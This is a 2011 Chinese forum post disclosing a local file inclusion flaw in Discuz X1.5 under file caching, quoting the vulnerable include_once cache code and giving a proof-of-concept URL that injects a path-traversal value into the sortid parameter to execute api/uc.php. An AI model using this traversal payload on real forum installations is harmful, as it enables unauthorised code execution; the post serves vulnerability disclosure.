开心健康幸福 發表於 2011-3-11 12:10:46

DISCUZ X1.5 本地文件包含漏洞

<p>  DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存。</p>
<p>  config_global.php</p>
<p>  $_config['cache']['type'] = &lsquo;file&rsquo;;</p>
<p>  function cachedata($cachenames) {</p>
<p>  &hellip;&hellip;</p>
<p>  $isfilecache = getglobal(&lsquo;config/cache/type&rsquo;) == &lsquo;file&rsquo;;</p>
<p>  &hellip;&hellip;</p>
<p>  if($isfilecache) {</p>
<p>  $lostcaches = array();</p>
<p>  foreach($cachenames as $cachename) {</p>
<p>  if(!@include_once(DISCUZ_ROOT.&rsquo;./data/cache/cache_&rsquo;.$cachename.&rsquo;.php&rsquo;)) {</p>
<p>  $lostcaches[] = $cachename;</p>
<p>  }</p>
<p>  }</p>
<p>  &hellip;&hellip;</p>
<p>  }</p>
<p>  地址:</p>
<p>  http://localhost:8080/bbs/forum.php?mod=post&amp;action=threadsorts&amp;sortid=ygjgj/../../../api/uc</p>
<p>  http://localhost:8080/bbs/forum.php?mod=post&amp;action=threadsorts&amp;sortid=ygjgj/../../../api/ucAuthracation has expiried</p>
<p>  执行了 api/uc.php 页面代码了。</p>
<p>  作者: Jannock</p>
頁: [1]
查看完整版本: DISCUZ X1.5 本地文件包含漏洞